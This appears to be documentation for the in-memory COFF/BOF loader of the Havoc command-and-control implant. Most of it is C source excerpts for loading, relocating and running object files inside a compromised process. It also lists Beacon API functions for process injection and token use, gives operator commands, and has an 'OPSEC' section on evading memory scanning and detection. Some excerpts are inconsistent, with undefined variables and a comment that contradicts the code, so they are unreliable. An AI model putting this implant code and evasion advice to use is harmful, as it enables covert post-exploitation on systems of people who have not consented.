COFF Loader

Overview

Havoc includes a COFF (Common Object File Format) loader that executes Beacon Object Files (BOFs) in-memory. This allows operators to run small, position-independent code modules without spawning new processes or loading full executables.

The COFF loader provides Beacon API compatibility, allowing most Cobalt Strike BOFs to run unmodified in Havoc agents.

Architecture

COFF File Structure

BOFs are compiled as object files (not linked executables): Source: payloads/Demon/include/core/CoffeeLdr.h

typedef struct _COFF_FILE_HEADER {
    UINT16 Machine;                   // Target architecture
    UINT16 NumberOfSections;          // Section count
    UINT32 TimeDateStamp;
    UINT32 PointerToSymbolTable;      // Symbol table offset
    UINT32 NumberOfSymbols;           // Symbol count
    UINT16 SizeOfOptionalHeader;
    UINT16 Characteristics;
} COFF_FILE_HEADER, *PCOFF_FILE_HEADER;

typedef struct _COFF_SECTION {
    CHAR   Name[8];                   // Section name
    UINT32 VirtualSize;
    UINT32 VirtualAddress;
    UINT32 SizeOfRawData;             // Section size
    UINT32 PointerToRawData;          // Data offset
    UINT32 PointerToRelocations;      // Relocation offset
    UINT32 PointerToLinenumbers;
    UINT16 NumberOfRelocations;       // Relocation count
    UINT16 NumberOfLinenumbers;
    UINT32 Characteristics;           // Section flags
} COFF_SECTION, *PCOFF_SECTION;

typedef struct _COFF_RELOC {
    UINT32 VirtualAddress;            // Where to apply relocation
    UINT32 SymbolTableIndex;          // Which symbol
    UINT16 Type;                      // Relocation type
} COFF_RELOC, *PCOFF_RELOC;

Loader Context

Source: payloads/Demon/include/core/CoffeeLdr.h

typedef struct _COFFEE {
    PVOID              Data;           // Raw COFF data
    PVOID              ImageBase;      // Allocated memory base
    SIZE_T             BofSize;        // Total BOF size
    PCOFF_FILE_HEADER  Header;         // COFF header
    PCOFF_SECTION      Section;        // Current section
    PCOFF_SYMBOL       Symbol;         // Symbol table
    PCOFF_RELOC        Reloc;          // Relocation table
    PSECTION_MAP       SecMap;         // Section mapping
    PVOID              FunMap;         // Function pointer map
    SIZE_T             FunMapSize;     // Function map size
    UINT32             RequestID;      // Command request ID
    struct _COFFEE*    Next;           // Linked list
} COFFEE, *PCOFFEE;

Loading Process

1. COFF Parsing

Source: payloads/Demon/src/core/CoffeeLdr.c:672

VOID CoffeeLdr(
    PCHAR EntryName,
    PVOID CoffeeData,
    PVOID ArgData,
    SIZE_T ArgSize,
    UINT32 RequestID
) {
    PCOFFEE Coffee = NULL;
    
    Coffee = Instance->Win32.LocalAlloc(LPTR, sizeof(COFFEE));
    Coffee->Data      = CoffeeData;
    Coffee->Header    = Coffee->Data;  // COFF header at start
    Coffee->Symbol    = C_PTR(U_PTR(Coffee->Data) + 
                              Coffee->Header->PointerToSymbolTable);
    Coffee->RequestID = RequestID;
    Coffee->Next      = Instance->Coffees;
    Instance->Coffees = Coffee;
    
    // Validate architecture
#if _WIN64
    if (Coffee->Header->Machine != IMAGE_FILE_MACHINE_AMD64) {
        PUTS("The BOF is not AMD64");
        goto END;
    }
#else
    if (Coffee->Header->Machine == IMAGE_FILE_MACHINE_AMD64) {
        PUTS("The BOF is AMD64");
        goto END;
    }
#endif
    
    Coffee->SecMap = Instance->Win32.LocalAlloc(
        LPTR,
        Coffee->Header->NumberOfSections * sizeof(SECTION_MAP)
    );
    
    // Calculate function map size
    Coffee->FunMapSize = CoffeeGetFunMapSize(Coffee);
}

2. Memory Allocation

Source: payloads/Demon/src/core/CoffeeLdr.c:728

// Calculate total BOF size (page-aligned sections + function map)
for (UINT16 SecCnt = 0; SecCnt < Coffee->Header->NumberOfSections; SecCnt++) {
    Coffee->Section = C_PTR(U_PTR(Coffee->Data) + 
                           sizeof(COFF_FILE_HEADER) + 
                           U_PTR(sizeof(COFF_SECTION) * SecCnt));
    Coffee->BofSize += Coffee->Section->SizeOfRawData;
    Coffee->BofSize = (SIZE_T)(ULONG_PTR)PAGE_ALLIGN(Coffee->BofSize);
}

// Add function map at end
Coffee->BofSize += Coffee->FunMapSize;

// Allocate RWX memory
Coffee->ImageBase = MmVirtualAlloc(
    DX_MEM_DEFAULT,
    NtCurrentProcess(),
    Coffee->BofSize,
    PAGE_READWRITE
);

// Copy sections into allocated memory
NextBase = Coffee->ImageBase;
for (UINT16 SecCnt = 0; SecCnt < Coffee->Header->NumberOfSections; SecCnt++) {
    Coffee->Section = C_PTR(U_PTR(Coffee->Data) + 
                           sizeof(COFF_FILE_HEADER) + 
                           U_PTR(sizeof(COFF_SECTION) * SecCnt));
    Coffee->SecMap[SecCnt].Size = Coffee->Section->SizeOfRawData;
    Coffee->SecMap[SecCnt].Ptr  = NextBase;
    
    NextBase += Coffee->Section->SizeOfRawData;
    NextBase = PAGE_ALLIGN(NextBase);
    
    // Copy section data
    MemCopy(
        Coffee->SecMap[SecCnt].Ptr,
        C_PTR(U_PTR(CoffeeData) + Coffee->Section->PointerToRawData),
        Coffee->Section->SizeOfRawData
    );
}

// Function map at end
Coffee->FunMap = NextBase;

3. Symbol Resolution

Source: payloads/Demon/src/core/CoffeeLdr.c:87

BOOL CoffeeProcessSymbol(
    PCOFFEE Coffee,
    LPSTR SymbolName,
    UINT16 SymbolType,
    PVOID* pFuncAddr
) {
    PCHAR SymLibrary  = NULL;
    PCHAR SymFunction = NULL;
    HMODULE hLibrary  = NULL;
    DWORD SymBeacon   = HashEx(SymbolName, COFF_PREP_BEACON_SIZE, FALSE);
    
    *pFuncAddr = NULL;
    
    if (SymBeacon == COFF_PREP_BEACON) {
        // Beacon API function: __imp_BeaconFUNCNAME
        SymFunction = SymbolName + COFF_PREP_SYMBOL_SIZE;
        
        for (DWORD i = 0;; i++) {
            if (!BeaconApi[i].NameHash)
                break;
            
            if (HashStringA(SymFunction) == BeaconApi[i].NameHash) {
                *pFuncAddr = BeaconApi[i].Pointer;
                return TRUE;
            }
        }
    }
    else if (SymbolIsImport(SymbolName) && 
             SymbolIncludesLibrary(SymbolName)) {
        // Standard import: __imp_LIBNAME$FUNCNAME
        SymLibrary  = Bak + COFF_PREP_SYMBOL_SIZE;
        SymLibrary  = StringTokenA(SymLibrary, "$");
        SymFunction = SymLibrary + StringLengthA(SymLibrary) + 1;
        hLibrary    = LdrModuleLoad(SymLibrary);
        
        if (!hLibrary) {
            goto SymbolNotFound;
        }
        
        // Special handling for NTDLL (use syscalls)
        if (hLibrary == Instance->Modules.Ntdll) {
            for (DWORD i = 0;; i++) {
                if (!NtApi[i].NameHash)
                    break;
                
                if (HashStringA(SymName) == NtApi[i].NameHash) {
                    *pFuncAddr = NtApi[i].Pointer;
                    return TRUE;
                }
            }
        }
        
        // Resolve using LdrGetProcedureAddress
        AnsiString.Buffer = SymName;
        AnsiString.Length = StringLengthA(SymName);
        AnsiString.MaximumLength = AnsiString.Length + sizeof(CHAR);
        
        if (NT_SUCCESS(Instance->Win32.LdrGetProcedureAddress(
            hLibrary, &AnsiString, 0, pFuncAddr
        ))) {
            return TRUE;
        }
    }
    else if (HashStringA(SymbolName) == COFF_INSTANCE) {
        // Special symbol: .refptr.Instance or _Instance
        *pFuncAddr = &Instance;
        return TRUE;
    }
    
SymbolNotFound:
    // Send error to operator
    Package = PackageCreateWithRequestID(
        DEMON_COMMAND_INLINE_EXECUTE,
        Coffee->RequestID
    );
    PackageAddInt32(Package, DEMON_COMMAND_INLINE_EXECUTE_SYMBOL_NOT_FOUND);
    PackageAddString(Package, SymbolName);
    PackageTransmit(Package);
    
    return FALSE;
}

4. Relocation Processing

Source: payloads/Demon/src/core/CoffeeLdr.c:423

BOOL CoffeeProcessSections(PCOFFEE Coffee) {
    PVOID FuncPtr = NULL;
    DWORD FuncCount = 0;
    UINT32 Offset = 0;
    PVOID RelocAddr = NULL;
    PVOID FunMapAddr = NULL;
    PVOID SymbolSectionAddr = NULL;
    
    for (UINT16 SectionCnt = 0; SectionCnt < Coffee->Header->NumberOfSections; SectionCnt++) {
        Coffee->Section = C_PTR(U_PTR(Coffee->Data) + 
                               sizeof(COFF_FILE_HEADER) + 
                               U_PTR(sizeof(COFF_SECTION) * SectionCnt));
        Coffee->Reloc = C_PTR(U_PTR(Coffee->Data) + 
                             Coffee->Section->PointerToRelocations);
        
        for (DWORD RelocCnt = 0; RelocCnt < Coffee->Section->NumberOfRelocations; RelocCnt++) {
            Symbol = &Coffee->Symbol[Coffee->Reloc->SymbolTableIndex];
            
            // Get symbol name
            if (Symbol->First.Value[0] != 0) {
                MemSet(SymName, 0, sizeof(SymName));
                MemCopy(SymName, Symbol->First.Name, 8);
                SymbolName = SymName;
            } else {
                SymbolName = ((PCHAR)(Coffee->Symbol + 
                                     Coffee->Header->NumberOfSymbols)) + 
                            Symbol->First.Value[1];
            }
            
            // Resolve symbol
            if (!CoffeeProcessSymbol(Coffee, SymbolName, SymbolType, &FuncPtr)) {
                return FALSE;
            }
            
            RelocAddr = Coffee->SecMap[SectionCnt].Ptr + 
                       Coffee->Reloc->VirtualAddress;
            FunMapAddr = Coffee->FunMap + (FuncCount * sizeof(PVOID));
            SymbolSectionAddr = Coffee->SecMap[Symbol->SectionNumber - 1].Ptr;
            
#if _WIN64
            // Process x64 relocations
            if (Coffee->Reloc->Type == IMAGE_REL_AMD64_REL32 && FuncPtr != NULL) {
                // External function call
                *((PVOID*)FunMapAddr) = FuncPtr;
                Offset = (UINT32)(U_PTR(FunMapAddr) - U_PTR(RelocAddr) - sizeof(UINT32));
                *((PUINT32)RelocAddr) = Offset;
                FuncCount++;
            }
            else if (Coffee->Reloc->Type == IMAGE_REL_AMD64_REL32 && FuncPtr == NULL) {
                // Internal symbol reference
                Offset = *(PUINT32)(RelocAddr);
                Offset += U_PTR(SymbolSectionAddr) - U_PTR(RelocAddr) - sizeof(UINT32);
                *((PUINT32)RelocAddr) = Offset;
            }
            else if (Coffee->Reloc->Type == IMAGE_REL_AMD64_ADDR64 && FuncPtr == NULL) {
                // 64-bit absolute address
                OffsetLong = *(PUINT64)(RelocAddr);
                OffsetLong += U_PTR(SymbolSectionAddr);
                *((PUINT64)RelocAddr) = OffsetLong;
            }
#else
            // Process x86 relocations
            if (Coffee->Reloc->Type == IMAGE_REL_I386_DIR32 && FuncPtr != NULL) {
                *((PVOID*)FunMapAddr) = FuncPtr;
                Offset = U_PTR(FunMapAddr);
                *((PUINT32)RelocAddr) = Offset;
                FuncCount++;
            }
            else if (Coffee->Reloc->Type == IMAGE_REL_I386_DIR32 && FuncPtr == NULL) {
                Offset = *(PUINT32)(RelocAddr);
                Offset += U_PTR(SymbolSectionAddr);
                *((PUINT32)RelocAddr) = Offset;
            }
#endif
            
            Coffee->Reloc = C_PTR(U_PTR(Coffee->Reloc) + sizeof(COFF_RELOC));
        }
    }
    
    return TRUE;
}

5. Memory Protection

Source: payloads/Demon/src/core/CoffeeLdr.c:276

// Set appropriate permissions for each section
for (UINT16 SectionCnt = 0; SectionCnt < Coffee->Header->NumberOfSections; SectionCnt++) {
    Coffee->Section = C_PTR(U_PTR(Coffee->Data) + 
                           sizeof(COFF_FILE_HEADER) + 
                           U_PTR(sizeof(COFF_SECTION) * SectionCnt));
    
    if (Coffee->Section->SizeOfRawData > 0) {
        BitMask = Coffee->Section->Characteristics & 
                 (IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE);
        
        if (BitMask == 0)
            Protection = PAGE_NOACCESS;
        else if (BitMask == IMAGE_SCN_MEM_EXECUTE)
            Protection = PAGE_EXECUTE;
        else if (BitMask == IMAGE_SCN_MEM_READ)
            Protection = PAGE_READONLY;
        else if (BitMask == (IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE))
            Protection = PAGE_EXECUTE_READ;
        else if (BitMask == IMAGE_SCN_MEM_WRITE)
            Protection = PAGE_WRITECOPY;
        else if (BitMask == (IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_WRITE))
            Protection = PAGE_EXECUTE_WRITECOPY;
        else if (BitMask == (IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE))
            Protection = PAGE_READWRITE;
        else if (BitMask == (IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE))
            Protection = PAGE_EXECUTE_READWRITE;
        
        if ((Coffee->Section->Characteristics & IMAGE_SCN_MEM_NOT_CACHED) == 
            IMAGE_SCN_MEM_NOT_CACHED)
            Protection |= PAGE_NOCACHE;
        
        MmVirtualProtect(
            DX_MEM_SYSCALL,
            NtCurrentProcess(),
            Coffee->SecMap[SectionCnt].Ptr,
            Coffee->SecMap[SectionCnt].Size,
            Protection
        );
    }
}

6. Execution

Source: payloads/Demon/src/core/CoffeeLdr.c:241

VOID CoffeeFunction(PVOID Address, PVOID Argument, SIZE_T Size) {
    VOID (*Function)(PCHAR, ULONG) = Address;
    
    // Save return address for exception handler
    CoffeeFunctionReturn = __builtin_extract_return_addr(
        __builtin_return_address(0)
    );
    
    // Execute BOF entry point
    Function(Argument, Size);
}

BOOL CoffeeExecuteFunction(
    PCOFFEE Coffee,
    PCHAR Function,
    PVOID Argument,
    SIZE_T Size,
    UINT32 RequestID
) {
    PVOID CoffeeMain = NULL;
    PVOID VehHandle  = NULL;
    
    if (Instance->Config.Implant.CoffeeVeh) {
        // Register exception handler for crashes
        VehHandle = Instance->Win32.RtlAddVectoredExceptionHandler(
            1, &VehDebugger
        );
    }
    
    // Find entry point (typically "go")
    for (DWORD SymCounter = 0; SymCounter < Coffee->Header->NumberOfSymbols; SymCounter++) {
        if (Coffee->Symbol[SymCounter].First.Value[0] != 0)
            SymbolName = Coffee->Symbol[SymCounter].First.Name;
        else
            SymbolName = ((PCHAR)(Coffee->Symbol + 
                                 Coffee->Header->NumberOfSymbols)) + 
                        Coffee->Symbol[SymCounter].First.Value[1];
        
#if _M_IX86
        // x86 may have leading underscore
        if (SymbolName[0] == '_')
            SymbolName++;
#endif
        
        if (MemCompare(SymbolName, Function, FunctionLength) == 0) {
            CoffeeMain = Coffee->SecMap[Coffee->Symbol[SymCounter].SectionNumber - 1].Ptr + 
                        Coffee->Symbol[SymCounter].Value;
            break;
        }
    }
    
    if (!CoffeeMain) {
        PRINTF("[!] Couldn't find function => %s\n", Function);
        return FALSE;
    }
    
    // Execute
    CoffeeFunction(CoffeeMain, Argument, Size);
    
    // Remove exception handler
    if (VehHandle) {
        Instance->Win32.RtlRemoveVectoredExceptionHandler(VehHandle);
    }
    
    return TRUE;
}

Beacon API Compatibility

Havoc provides Beacon API functions for BOF compatibility: Source: payloads/Demon/src/core/ObjectApi.c

Beacon API Functions

BeaconAPI[] = {
    { H_API_BEACONDATAPARSE,           BeaconDataParse           },
    { H_API_BEACONDATAINT,             BeaconDataInt             },
    { H_API_BEACONDATASHORT,           BeaconDataShort           },
    { H_API_BEACONDATALENGTH,          BeaconDataLength          },
    { H_API_BEACONDATAEXTRACT,         BeaconDataExtract         },
    { H_API_BEACONFORMATALLOC,         BeaconFormatAlloc         },
    { H_API_BEACONFORMATRESET,         BeaconFormatReset         },
    { H_API_BEACONFORMATFREE,          BeaconFormatFree          },
    { H_API_BEACONFORMATAPPEND,        BeaconFormatAppend        },
    { H_API_BEACONFORMATPRINTF,        BeaconFormatPrintf        },
    { H_API_BEACONFORMATTOSTRING,      BeaconFormatToString      },
    { H_API_BEACONFORMATINT,           BeaconFormatInt           },
    { H_API_BEACONPRINTF,              BeaconPrintf              },
    { H_API_BEACONOUTPUT,              BeaconOutput              },
    { H_API_BEACONUSETOKEN,            BeaconUseToken            },
    { H_API_BEACONREVERTTOKEN,         BeaconRevertToken         },
    { H_API_BEACONISADMIN,             BeaconIsAdmin             },
    { H_API_BEACONGETSPAWNTO,          BeaconGetSpawnTo          },
    { H_API_BEACONINJECTPROCESS,       BeaconInjectProcess       },
    { H_API_BEACONINJECTTEMPORARYPROCESS, BeaconInjectTemporaryProcess },
    { H_API_BEACONSPAWNTEMPORARYPROCESS,  BeaconSpawnTemporaryProcess  },
    { H_API_BEACONCLEANUPPROCESS,      BeaconCleanupProcess      },
    { H_API_TOWIDE,                    toWideChar                },
    { 0, NULL }
};

Exception Handling

Source: payloads/Demon/src/core/CoffeeLdr.c:32

LONG WINAPI VehDebugger(PEXCEPTION_POINTERS Exception) {
    UINT32 RequestID = 0;
    PPACKAGE Package = NULL;
    
    PRINTF("Exception: %p\n", Exception->ExceptionRecord->ExceptionCode);
    
    // Return to caller
#if _WIN64
    Exception->ContextRecord->Rip = (DWORD64)(ULONG_PTR)CoffeeFunctionReturn;
#else
    Exception->ContextRecord->Eip = (DWORD64)(ULONG_PTR)CoffeeFunctionReturn;
#endif
    
    // Notify operator
    Package = PackageCreateWithRequestID(
        DEMON_COMMAND_INLINE_EXECUTE,
        RequestID
    );
    PackageAddInt32(Package, DEMON_COMMAND_INLINE_EXECUTE_EXCEPTION);
    PackageAddInt32(Package, Exception->ExceptionRecord->ExceptionCode);
    PackageAddInt64(Package, 
                   (UINT64)(ULONG_PTR)Exception->ExceptionRecord->ExceptionAddress);
    PackageTransmit(Package);
    
    return EXCEPTION_CONTINUE_EXECUTION;
}

Cleanup

Source: payloads/Demon/src/core/CoffeeLdr.c:394

VOID CoffeeCleanup(PCOFFEE Coffee) {
    PVOID Pointer = NULL;
    SIZE_T Size = 0;
    NTSTATUS NtStatus = 0;
    
    if (!Coffee || !Coffee->ImageBase)
        return;
    
    // Zero memory before freeing
    if (MmVirtualProtect(
        DX_MEM_SYSCALL,
        NtCurrentProcess(),
        Coffee->ImageBase,
        Coffee->BofSize,
        PAGE_READWRITE
    )) {
        MemSet(Coffee->ImageBase, 0, Coffee->BofSize);
    }
    
    // Free allocated memory
    Pointer = Coffee->ImageBase;
    Size = Coffee->BofSize;
    SysNtFreeVirtualMemory(
        NtCurrentProcess(),
        &Pointer,
        &Size,
        MEM_RELEASE
    );
    
    // Free section map
    if (Coffee->SecMap) {
        MemSet(Coffee->SecMap, 0, 
               Coffee->Header->NumberOfSections * sizeof(SECTION_MAP));
        Instance->Win32.LocalFree(Coffee->SecMap);
        Coffee->SecMap = NULL;
    }
}

OPSEC Considerations

Detection Vectors:

Unusual Memory Allocations: RWX memory for BOF execution
In-Memory Code: Executable code without backing file
API Call Patterns: Beacon API usage from unexpected locations
Exception Handlers: VEH registration for crash handling
Memory Scanning: BOF signatures in process memory

Mitigation

Memory Protection: Use RW then RX (not RWX)
Code Obfuscation: Encrypt BOFs before loading
Limited Execution: Run BOFs sparingly
Clean Memory: Ensure proper cleanup after execution

Usage

# Execute BOF with no arguments
inline-execute-bof /path/to/bof.o

# Execute BOF with arguments (packed binary)
inline-execute-bof /path/to/bof.o args_packed

# Specify entry point
inline-execute-bof /path/to/bof.o go args_packed

Advantages Over .NET

Smaller Footprint: No CLR loading required
Faster Execution: Direct native code execution
Less Suspicious: No .NET assemblies in memory
Better OPSEC: Smaller attack surface
Flexibility: Can use any Windows API directly

Indirect Syscalls - BOFs can use syscalls
.NET Execution - Alternative execution method
Token Management - Used by BOFs via Beacon API

References

COFF loader: payloads/Demon/src/core/CoffeeLdr.c
Beacon API: payloads/Demon/src/core/ObjectApi.c
COFF structures: payloads/Demon/include/core/CoffeeLdr.h
Cobalt Strike BOF documentation
Microsoft PE/COFF specification

Get Started

Core Concepts

Demon Agent

Listeners

Extensibility

Advanced

Overview

Architecture

COFF File Structure

Loader Context

Loading Process

1. COFF Parsing

2. Memory Allocation

3. Symbol Resolution

4. Relocation Processing

5. Memory Protection

6. Execution

Beacon API Compatibility

Exception Handling

Cleanup

OPSEC Considerations

Mitigation

Usage

Advantages Over .NET

References

​Overview

​Architecture

​COFF File Structure

​Loader Context

​Loading Process

​1. COFF Parsing

​2. Memory Allocation

​3. Symbol Resolution

​4. Relocation Processing

​5. Memory Protection

​6. Execution

​Beacon API Compatibility

​Exception Handling

​Cleanup

​OPSEC Considerations

​Mitigation

​Usage

​Advantages Over .NET

​Related Techniques

​References

Overview

Architecture

COFF File Structure

Loader Context

Loading Process

1. COFF Parsing

2. Memory Allocation

3. Symbol Resolution

4. Relocation Processing

5. Memory Protection

6. Execution

Beacon API Compatibility

Exception Handling

Cleanup

OPSEC Considerations

Mitigation

Usage

Advantages Over .NET

Related Techniques

References